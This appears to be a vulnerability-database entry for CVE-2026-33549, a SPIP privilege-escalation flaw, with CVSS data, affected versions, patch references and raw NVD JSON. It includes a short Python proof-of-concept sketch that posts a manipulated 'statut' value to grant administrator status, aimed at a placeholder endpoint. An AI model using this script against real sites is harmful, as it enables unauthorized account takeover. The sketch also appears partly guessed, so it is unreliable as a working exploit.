Security Vulnerability Report
中文
CVE-2026-33549 CVSS 6.7 MEDIUM

CVE-2026-33549

Published: 2026-03-22 03:16:01
Last Modified: 2026-04-17 21:13:30

Description

SPIP 4.4.10 through 4.4.12 before 4.4.13 allows unintended privilege assignment (of administrator privileges) during the editing of an author data structure because of STATUT mishandling.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:* - VULNERABLE
SPIP 4.4.10
SPIP 4.4.11
SPIP 4.4.12
SPIP < 4.4.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-33549 PoC Concept # Target: SPIP 4.4.10 - 4.4.12 # Description: Privilege Escalation via STATUT mishandling target_url = "http://target-spip.com/ecrire/auteur_edit" # Example endpoint session = requests.Session() # 1. Login as a low-privileged user login_data = { "page": "login", "login": "low_priv_user", "password": "password123" } session.post(target_url, data=login_data) # 2. Exploit: Edit author data to escalate privileges # The 'statut' field is manipulated to '0minirezo' (Admin) exploit_data = { "id_auteur": "1", # Target author ID to modify "nom": "Admin User", "statut": "0minirezo", # Vulnerable parameter: Admin status "email": "[email protected]", "submit": "Save" } response = session.post(target_url, data=exploit_data) if response.status_code == 200 and "0minirezo" in response.text: print("[+] Privilege escalation successful!") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33549", "sourceIdentifier": "[email protected]", "published": "2026-03-22T03:16:01.237", "lastModified": "2026-04-17T21:13:29.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SPIP 4.4.10 through 4.4.12 before 4.4.13 allows unintended privilege assignment (of administrator privileges) during the editing of an author data structure because of STATUT mishandling."}, {"lang": "es", "value": "SPIP 4.4.10 hasta 4.4.12 antes de 4.4.13 permite la asignación de privilegios no intencionada (de privilegios de administrador) durante la edición de una estructura de datos de autor debido a un manejo incorrecto de STATUT."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-688"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.10", "versionEndExcluding": "4.4.13", "matchCriteriaId": "8197275A-C3D1-4830-B871-4D6232E0F142"}]}]}], "references": [{"url": "https://blog.spip.net/Mise-a-jour-de-securite-sortie-de-SPIP-4-4-13.html?lang=fr", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://git.spip.net/spip/prive/-/commit/b8481a7feb00f301f0ff7d5ce2aad8a772d92c2e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://git.spip.net/spip/prive/-/merge_requests/131", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}